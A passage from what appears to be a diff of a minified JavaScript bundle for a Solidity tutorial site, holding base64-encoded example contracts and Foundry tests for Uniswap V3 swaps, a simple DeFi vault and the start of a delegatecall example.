BhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKfQoKaW50ZXJmYWNlIElXRVRIIGlzIElFUkMyMCB7CiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgZXh0ZXJuYWwgcGF5YWJsZTsKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbDsKfQo="},{fileName:"UniswapV3SingleHopSwapTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1zd2FwL1VuaXN3YXBWM1NpbmdsZUhvcFN3YXAuc29sIjsKCmNvbnRyYWN0IFVuaXN3YXBWM1NpbmdsZUhvcFN3YXBUZXN0IGlzIFRlc3QgewogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFNXQVBfUk9VVEVSXzAyID0KICAgICAgICAweDY4YjM0NjU4MzNmYjcyQTcwZWNERjQ4NUUwZTRDN2JEODY2NUZjNDU7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgV0VUSCA9IDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMjsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBEQUkgPSAweDZCMTc1NDc0RTg5MDk0QzQ0RGE5OGI5NTRFZWRlQUM0OTUyNzFkMEY7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgREFJX1dFVEhfUE9PTF8zMDAwID0KICAgICAgICAweEMyZTlGMjVCZTYyNTdjMjEwZDdBZGYwRDRDZDZFM0U4ODFiYTI1Zjg7CgogICAgSVdFVEggcHJpdmF0ZSBjb25zdGFudCB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKCiAgICBVbmlzd2FwVjNTaW5nbGVIb3BTd2FwIHByaXZhdGUgc3dhcDsKCiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgQU1PVU5UX0lOID0gMWUxODsKICAgIHVpbnQyNTYgcHJpdmF0ZSBjb25zdGFudCBBTU9VTlRfT1VUID0gNTAgKiAxZTE4OwogICAgdWludDI1NiBwcml2YXRlIGNvbnN0YW50IE1BWF9BTU9VTlRfSU4gPSAxZTE4OwoKICAgIGZ1bmN0aW9uIHNldFVwKCkgcHVibGljIHsKICAgICAgICBzd2FwID0gbmV3IFVuaXN3YXBWM1NpbmdsZUhvcFN3YXAoKTsKICAgICAgICB3ZXRoLmRlcG9zaXR7dmFsdWU6IEFNT1VOVF9JTiArIE1BWF9BTU9VTlRfSU59KCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3Moc3dhcCksIHR5cGUodWludDI1NikubWF4KTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0X3N3YXBFeGFjdElucHV0U2luZ2xlSG9wKCkgcHVibGljIHsKICAgICAgICBzd2FwLnN3YXBFeGFjdElucHV0U2luZ2xlSG9wKEFNT1VOVF9JTiwgMSk7CiAgICAgICAgdWludDI1NiBkMSA9IGRhaS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgYXNzZXJ0R3QoZDEsIDAsICJEQUkgYmFsYW5jZSA9IDAiKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0X3N3YXBFeGFjdE91dHB1dFNpbmdsZUhvcCgpIHB1YmxpYyB7CiAgICAgICAgdWludDI1NiB3MCA9IHdldGguYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIHVpbnQyNTYgZDAgPSBkYWkuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIHN3YXAuc3dhcEV4YWN0T3V0cHV0U2luZ2xlSG9wKEFNT1VOVF9PVVQsIE1BWF9BTU9VTlRfSU4pOwogICAgICAgIHVpbnQyNTYgdzEgPSB3ZXRoLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICB1aW50MjU2IGQxID0gZGFpLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKCiAgICAgICAgYXNzZXJ0THQodzEsIHcwLCAiV0VUSCBiYWxhbmNlIGRpZG4ndCBkZWNyZWFzZSIpOwogICAgICAgIGFzc2VydEd0KGQxLCBkMCwgIkRBSSBiYWxhbmNlIGRpZG4ndCBpbmNyZWFzZSIpOwogICAgICAgIGFzc2VydEVxKHdldGguYmFsYW5jZU9mKGFkZHJlc3Moc3dhcCkpLCAwLCAiV0VUSCBiYWxhbmNlIG9mIHN3YXAgIT0gMCIpOwogICAgICAgIGFzc2VydEVxKGRhaS5iYWxhbmNlT2YoYWRkcmVzcyhzd2FwKSksIDAsICJEQUkgYmFsYW5jZSBvZiBzd2FwICE9IDAiKTsKICAgIH0KfQo="},{fileName:"UniswapV3SwapExamples.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFVuaXN3YXBWM1N3YXBFeGFtcGxlcyB7CiAgICBJU3dhcFJvdXRlciBjb25zdGFudCByb3V0ZXIgPSBJU3dhcFJvdXRlcigweEU1OTI0MjdBMEFFY2U5MkRlM0VkZWUxRjE4RTAxNTdDMDU4NjE1NjQpOwoKICAgIGZ1bmN0aW9uIHN3YXBFeGFjdElucHV0U2luZ2xlSG9wKGFkZHJlc3MgdG9rZW5JbiwgYWRkcmVzcyB0b2tlbk91dCwgdWludDI0IHBvb2xGZWUsIHVpbnQyNTYgYW1vdW50SW4pCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zICh1aW50MjU2IGFtb3VudE91dCkKICAgIHsKICAgICAgICBJRVJDMjAodG9rZW5JbikudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudEluKTsKICAgICAgICBJRVJDMjAodG9rZW5JbikuYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgSVN3YXBSb3V0ZXIuRXhhY3RJbnB1dFNpbmdsZVBhcmFtcyBtZW1vcnkgcGFyYW1zID0gSVN3YXBSb3V0ZXIuRXhhY3RJbnB1dFNpbmdsZVBhcmFtcyh7CiAgICAgICAgICAgIHRva2VuSW46IHRva2VuSW4sCiAgICAgICAgICAgIHRva2VuT3V0OiB0b2tlbk91dCwKICAgICAgICAgICAgZmVlOiBwb29sRmVlLAogICAgICAgICAgICByZWNpcGllbnQ6IG1zZy5zZW5kZXIsCiAgICAgICAgICAgIGRlYWRsaW5lOiBibG9jay50aW1lc3RhbXAsCiAgICAgICAgICAgIGFtb3VudEluOiBhbW91bnRJbiwKICAgICAgICAgICAgYW1vdW50T3V0TWluaW11bTogMCwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICB9KTsKCiAgICAgICAgYW1vdW50T3V0ID0gcm91dGVyLmV4YWN0SW5wdXRTaW5nbGUocGFyYW1zKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzd2FwRXhhY3RJbnB1dE11bHRpSG9wKGJ5dGVzIGNhbGxkYXRhIHBhdGgsIGFkZHJlc3MgdG9rZW5JbiwgdWludDI1NiBhbW91bnRJbikKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KQogICAgewogICAgICAgIElFUkMyMCh0b2tlbkluKS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50SW4pOwogICAgICAgIElFUkMyMCh0b2tlbkluKS5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgYW1vdW50SW4pOwoKICAgICAgICBJU3dhcFJvdXRlci5FeGFjdElucHV0UGFyYW1zIG1lbW9yeSBwYXJhbXMgPSBJU3dhcFJvdXRlci5FeGFjdElucHV0UGFyYW1zKHsKICAgICAgICAgICAgcGF0aDogcGF0aCwKICAgICAgICAgICAgcmVjaXBpZW50OiBtc2cuc2VuZGVyLAogICAgICAgICAgICBkZWFkbGluZTogYmxvY2sudGltZXN0YW1wLAogICAgICAgICAgICBhbW91bnRJbjogYW1vdW50SW4sCiAgICAgICAgICAgIGFtb3VudE91dE1pbmltdW06IDAKICAgICAgICB9KTsKICAgICAgICBhbW91bnRPdXQgPSByb3V0ZXIuZXhhY3RJbnB1dChwYXJhbXMpOwogICAgfQp9CgppbnRlcmZhY2UgSVN3YXBSb3V0ZXIgewogICAgc3RydWN0IEV4YWN0SW5wdXRTaW5nbGVQYXJhbXMgewogICAgICAgIGFkZHJlc3MgdG9rZW5JbjsKICAgICAgICBhZGRyZXNzIHRva2VuT3V0OwogICAgICAgIHVpbnQyNCBmZWU7CiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQ7CiAgICAgICAgdWludDI1NiBkZWFkbGluZTsKICAgICAgICB1aW50MjU2IGFtb3VudEluOwogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0TWluaW11bTsKICAgICAgICB1aW50MTYwIHNxcnRQcmljZUxpbWl0WDk2OwogICAgfQoKICAgIC8vLyBAbm90aWNlIFN3YXBzIGFtb3VudEluIG9mIG9uZSB0b2tlbiBmb3IgYXMgbXVjaCBhcyBwb3NzaWJsZSBvZiBhbm90aGVyIHRva2VuCiAgICAvLy8gQHBhcmFtIHBhcmFtcyBUaGUgcGFyYW1ldGVycyBuZWNlc3NhcnkgZm9yIHRoZSBzd2FwLCBlbmNvZGVkIGFzIEV4YWN0SW5wdXRTaW5nbGVQYXJhbXMgaW4gY2FsbGRhdGEKICAgIC8vLyBAcmV0dXJuIGFtb3VudE91dCBUaGUgYW1vdW50IG9mIHRoZSByZWNlaXZlZCB0b2tlbgogICAgZnVuY3Rpb24gZXhhY3RJbnB1dFNpbmdsZShFeGFjdElucHV0U2luZ2xlUGFyYW1zIGNhbGxkYXRhIHBhcmFtcykgZXh0ZXJuYWwgcGF5YWJsZSByZXR1cm5zICh1aW50MjU2IGFtb3VudE91dCk7CgogICAgc3RydWN0IEV4YWN0SW5wdXRQYXJhbXMgewogICAgICAgIGJ5dGVzIHBhdGg7CiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQ7CiAgICAgICAgdWludDI1NiBkZWFkbGluZTsKICAgICAgICB1aW50MjU2IGFtb3VudEluOwogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0TWluaW11bTsKICAgIH0KCiAgICAvLy8gQG5vdGljZSBTd2FwcyBhbW91bnRJbiBvZiBvbmUgdG9rZW4gZm9yIGFzIG11Y2ggYXMgcG9zc2libGUgb2YgYW5vdGhlciBhbG9uZyB0aGUgc3BlY2lmaWVkIHBhdGgKICAgIC8vLyBAcGFyYW0gcGFyYW1zIFRoZSBwYXJhbWV0ZXJzIG5lY2Vzc2FyeSBmb3IgdGhlIG11bHRpLWhvcCBzd2FwLCBlbmNvZGVkIGFzIEV4YWN0SW5wdXRQYXJhbXMgaW4gY2FsbGRhdGEKICAgIC8vLyBAcmV0dXJuIGFtb3VudE91dCBUaGUgYW1vdW50IG9mIHRoZSByZWNlaXZlZCB0b2tlbgogICAgZnVuY3Rpb24gZXhhY3RJbnB1dChFeGFjdElucHV0UGFyYW1zIGNhbGxkYXRhIHBhcmFtcykgZXh0ZXJuYWwgcGF5YWJsZSByZXR1cm5zICh1aW50MjU2IGFtb3VudE91dCk7Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKfQoKaW50ZXJmYWNlIElXRVRIIGlzIElFUkMyMCB7CiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgZXh0ZXJuYWwgcGF5YWJsZTsKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbDsKfQo="},{fileName:"UniswapV3SwapExamplesTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1zd2FwL1VuaXN3YXBWM1N3YXBFeGFtcGxlcy5zb2wiOwoKYWRkcmVzcyBjb25zdGFudCBXRVRIID0gMHhDMDJhYUEzOWIyMjNGRThEMEEwZTVDNEYyN2VBRDkwODNDNzU2Q2MyOwphZGRyZXNzIGNvbnN0YW50IERBSSA9IDB4NkIxNzU0NzRFODkwOTRDNDREYTk4Yjk1NEVlZGVBQzQ5NTI3MWQwRjsKYWRkcmVzcyBjb25zdGFudCBVU0RDID0gMHhBMGI4Njk5MWM2MjE4YjM2YzFkMTlENGEyZTlFYjBjRTM2MDZlQjQ4OwoKY29udHJhY3QgVW5pVjNTd2FwVGVzdCBpcyBUZXN0IHsKICAgIElXRVRIIHByaXZhdGUgd2V0aCA9IElXRVRIKFdFVEgpOwogICAgSUVSQzIwIHByaXZhdGUgZGFpID0gSUVSQzIwKERBSSk7CiAgICBJRVJDMjAgcHJpdmF0ZSB1c2RjID0gSUVSQzIwKFVTREMpOwoKICAgIFVuaXN3YXBWM1N3YXBFeGFtcGxlcyBwcml2YXRlIHVuaSA9IG5ldyBVbmlzd2FwVjNTd2FwRXhhbXBsZXMoKTsKCiAgICBmdW5jdGlvbiBzZXRVcCgpIHB1YmxpYyB7fQoKICAgIGZ1bmN0aW9uIHRlc3RTaW5nbGVIb3AoKSBwdWJsaWMgewogICAgICAgIHdldGguZGVwb3NpdHt2YWx1ZTogMWUxOH0oKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCAxZTE4KTsKCiAgICAgICAgdWludDI1NiBhbW91bnRPdXQgPSB1bmkuc3dhcEV4YWN0SW5wdXRTaW5nbGVIb3AoV0VUSCwgREFJLCAzMDAwLCAxZTE4KTsKCiAgICAgICAgY29uc29sZTIubG9nKCJEQUkiLCBhbW91bnRPdXQpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RNdWx0aUhvcCgpIHB1YmxpYyB7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiAxZTE4fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHVuaSksIDFlMTgpOwoKICAgICAgICBieXRlcyBtZW1vcnkgcGF0aCA9IGFiaS5lbmNvZGVQYWNrZWQoV0VUSCwgdWludDI0KDMwMDApLCBVU0RDLCB1aW50MjQoMTAwKSwgREFJKTsKCiAgICAgICAgdWludDI1NiBhbW91bnRPdXQgPSB1bmkuc3dhcEV4YWN0SW5wdXRNdWx0aUhvcChwYXRoLCBXRVRILCAxZTE4KTsKCiAgICAgICAgY29uc29sZTIubG9nKCJEQUkiLCBhbW91bnRPdXQpOwogICAgfQp9Cg=="}],fb=`
                    Uniswap V3 Single Hop Swap
                    
 
                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -7276,7 +7276,7 @@ IERC20 constant PAIR address(swap)), 0, "DAI balance of swap != 0");
     }
 }
-
                    `,Xb=({prev:s,next:a})=>r.jsx(A,{version:Bb,title:Gb,description:Vb,html:Yb,prev:s,next:a,codes:fb}),Rb="0.8.24",vb="Vault",Nb="Vault",Hb=[{fileName:"Vault.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFZhdWx0IHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuOwoKICAgIHVpbnQyNTYgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4pIHsKICAgICAgICB0b2tlbiA9IElFUkMyMChfdG9rZW4pOwogICAgfQoKICAgIGZ1bmN0aW9uIF9taW50KGFkZHJlc3MgX3RvLCB1aW50MjU2IF9zaGFyZXMpIHByaXZhdGUgewogICAgICAgIHRvdGFsU3VwcGx5ICs9IF9zaGFyZXM7CiAgICAgICAgYmFsYW5jZU9mW190b10gKz0gX3NoYXJlczsKICAgIH0KCiAgICBmdW5jdGlvbiBfYnVybihhZGRyZXNzIF9mcm9tLCB1aW50MjU2IF9zaGFyZXMpIHByaXZhdGUgewogICAgICAgIHRvdGFsU3VwcGx5IC09IF9zaGFyZXM7CiAgICAgICAgYmFsYW5jZU9mW19mcm9tXSAtPSBfc2hhcmVzOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQodWludDI1NiBfYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgLyoKICAgICAgICBhID0gYW1vdW50CiAgICAgICAgQiA9IGJhbGFuY2Ugb2YgdG9rZW4gYmVmb3JlIGRlcG9zaXQKICAgICAgICBUID0gdG90YWwgc3VwcGx5CiAgICAgICAgcyA9IHNoYXJlcyB0byBtaW50CgogICAgICAgIChUICsgcykgLyBUID0gKGEgKyBCKSAvIEIgCgogICAgICAgIHMgPSBhVCAvIEIKICAgICAgICAqLwogICAgICAgIHVpbnQyNTYgc2hhcmVzOwogICAgICAgIGlmICh0b3RhbFN1cHBseSA9PSAwKSB7CiAgICAgICAgICAgIHNoYXJlcyA9IF9hbW91bnQ7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgc2hhcmVzID0gKF9hbW91bnQgKiB0b3RhbFN1cHBseSkgLyB0b2tlbi5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgfQoKICAgICAgICBfbWludChtc2cuc2VuZGVyLCBzaGFyZXMpOwogICAgICAgIHRva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBfYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50MjU2IF9zaGFyZXMpIGV4dGVybmFsIHsKICAgICAgICAvKgogICAgICAgIGEgPSBhbW91bnQKICAgICAgICBCID0gYmFsYW5jZSBvZiB0b2tlbiBiZWZvcmUgd2l0aGRyYXcKICAgICAgICBUID0gdG90YWwgc3VwcGx5CiAgICAgICAgcyA9IHNoYXJlcyB0byBidXJuCgogICAgICAgIChUIC0gcykgLyBUID0gKEIgLSBhKSAvIEIgCgogICAgICAgIGEgPSBzQiAvIFQKICAgICAgICAqLwogICAgICAgIHVpbnQyNTYgYW1vdW50ID0KICAgICAgICAgICAgKF9zaGFyZXMgKiB0b2tlbi5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSkpIC8gdG90YWxTdXBwbHk7CiAgICAgICAgX2J1cm4obXNnLnNlbmRlciwgX3NoYXJlcyk7CiAgICAgICAgdG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50KTsKICAgIH0KfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CgogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKCiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKCiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpOwoKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc2VuZGVyLCBhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKCiAgICBldmVudCBUcmFuc2ZlcihhZGRyZXNzIGluZGV4ZWQgZnJvbSwgYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50MjU2IGFtb3VudCk7CiAgICBldmVudCBBcHByb3ZhbCgKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsIGFkZHJlc3MgaW5kZXhlZCBzcGVuZGVyLCB1aW50MjU2IGFtb3VudAogICAgKTsKfQo="}],Fb=`
                    Simple example of vault contract, commonly used in DeFi protocols.
                    
+
                    `,Yb=({prev:s,next:a})=>r.jsx(A,{version:Wb,title:Bb,description:Gb,html:fb,prev:s,next:a,codes:Vb}),Xb="0.8.24",vb="Vault",Rb="Vault",Nb=[{fileName:"Vault.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFZhdWx0IHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuOwoKICAgIHVpbnQyNTYgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4pIHsKICAgICAgICB0b2tlbiA9IElFUkMyMChfdG9rZW4pOwogICAgfQoKICAgIGZ1bmN0aW9uIF9taW50KGFkZHJlc3MgX3RvLCB1aW50MjU2IF9zaGFyZXMpIHByaXZhdGUgewogICAgICAgIHRvdGFsU3VwcGx5ICs9IF9zaGFyZXM7CiAgICAgICAgYmFsYW5jZU9mW190b10gKz0gX3NoYXJlczsKICAgIH0KCiAgICBmdW5jdGlvbiBfYnVybihhZGRyZXNzIF9mcm9tLCB1aW50MjU2IF9zaGFyZXMpIHByaXZhdGUgewogICAgICAgIHRvdGFsU3VwcGx5IC09IF9zaGFyZXM7CiAgICAgICAgYmFsYW5jZU9mW19mcm9tXSAtPSBfc2hhcmVzOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQodWludDI1NiBfYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgLyoKICAgICAgICBhID0gYW1vdW50CiAgICAgICAgQiA9IGJhbGFuY2Ugb2YgdG9rZW4gYmVmb3JlIGRlcG9zaXQKICAgICAgICBUID0gdG90YWwgc3VwcGx5CiAgICAgICAgcyA9IHNoYXJlcyB0byBtaW50CgogICAgICAgIChUICsgcykgLyBUID0gKGEgKyBCKSAvIEIgCgogICAgICAgIHMgPSBhVCAvIEIKICAgICAgICAqLwogICAgICAgIHVpbnQyNTYgc2hhcmVzOwogICAgICAgIGlmICh0b3RhbFN1cHBseSA9PSAwKSB7CiAgICAgICAgICAgIHNoYXJlcyA9IF9hbW91bnQ7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgc2hhcmVzID0gKF9hbW91bnQgKiB0b3RhbFN1cHBseSkgLyB0b2tlbi5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgfQoKICAgICAgICBfbWludChtc2cuc2VuZGVyLCBzaGFyZXMpOwogICAgICAgIHRva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBfYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50MjU2IF9zaGFyZXMpIGV4dGVybmFsIHsKICAgICAgICAvKgogICAgICAgIGEgPSBhbW91bnQKICAgICAgICBCID0gYmFsYW5jZSBvZiB0b2tlbiBiZWZvcmUgd2l0aGRyYXcKICAgICAgICBUID0gdG90YWwgc3VwcGx5CiAgICAgICAgcyA9IHNoYXJlcyB0byBidXJuCgogICAgICAgIChUIC0gcykgLyBUID0gKEIgLSBhKSAvIEIgCgogICAgICAgIGEgPSBzQiAvIFQKICAgICAgICAqLwogICAgICAgIHVpbnQyNTYgYW1vdW50ID0KICAgICAgICAgICAgKF9zaGFyZXMgKiB0b2tlbi5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSkpIC8gdG90YWxTdXBwbHk7CiAgICAgICAgX2J1cm4obXNnLnNlbmRlciwgX3NoYXJlcyk7CiAgICAgICAgdG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50KTsKICAgIH0KfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CgogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKCiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKCiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpOwoKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc2VuZGVyLCBhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKCiAgICBldmVudCBUcmFuc2ZlcihhZGRyZXNzIGluZGV4ZWQgZnJvbSwgYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50MjU2IGFtb3VudCk7CiAgICBldmVudCBBcHByb3ZhbCgKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsIGFkZHJlc3MgaW5kZXhlZCBzcGVuZGVyLCB1aW50MjU2IGFtb3VudAogICAgKTsKfQo="}],Hb=`
                    Simple example of vault contract, commonly used in DeFi protocols.
                    
 
                    Most vaults on the mainnet are more complex. Here we will focus on the math for calculating shares to mint on deposit and the amount of token to withdraw.
                    
 
                    How the contract works
                    
 
                      
@@ -7372,7 +7372,7 @@ IERC20 constant PAIR address indexed owner, address indexed spender, uint256 amount
     );
 }
-
                    `,Kb=({prev:s,next:a})=>r.jsx(A,{version:Rb,title:vb,description:Nb,html:Fb,prev:s,next:a,codes:Hb}),Mb="0.8.24",Sb="Delegatecall",xb="Example of how to use deletegatecall in Solidity",Jb=[{fileName:"Delegatecall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIE5PVEU6IERlcGxveSB0aGlzIGNvbnRyYWN0IGZpcnN0CmNvbnRyYWN0IEIgewogICAgLy8gTk9URTogc3RvcmFnZSBsYXlvdXQgbXVzdCBiZSB0aGUgc2FtZSBhcyBjb250cmFjdCBBCiAgICB1aW50MjU2IHB1YmxpYyBudW07CiAgICBhZGRyZXNzIHB1YmxpYyBzZW5kZXI7CiAgICB1aW50MjU2IHB1YmxpYyB2YWx1ZTsKCiAgICBmdW5jdGlvbiBzZXRWYXJzKHVpbnQyNTYgX251bSkgcHVibGljIHBheWFibGUgewogICAgICAgIG51bSA9IF9udW07CiAgICAgICAgc2VuZGVyID0gbXNnLnNlbmRlcjsKICAgICAgICB2YWx1ZSA9IG1zZy52YWx1ZTsKICAgIH0KfQoKY29udHJhY3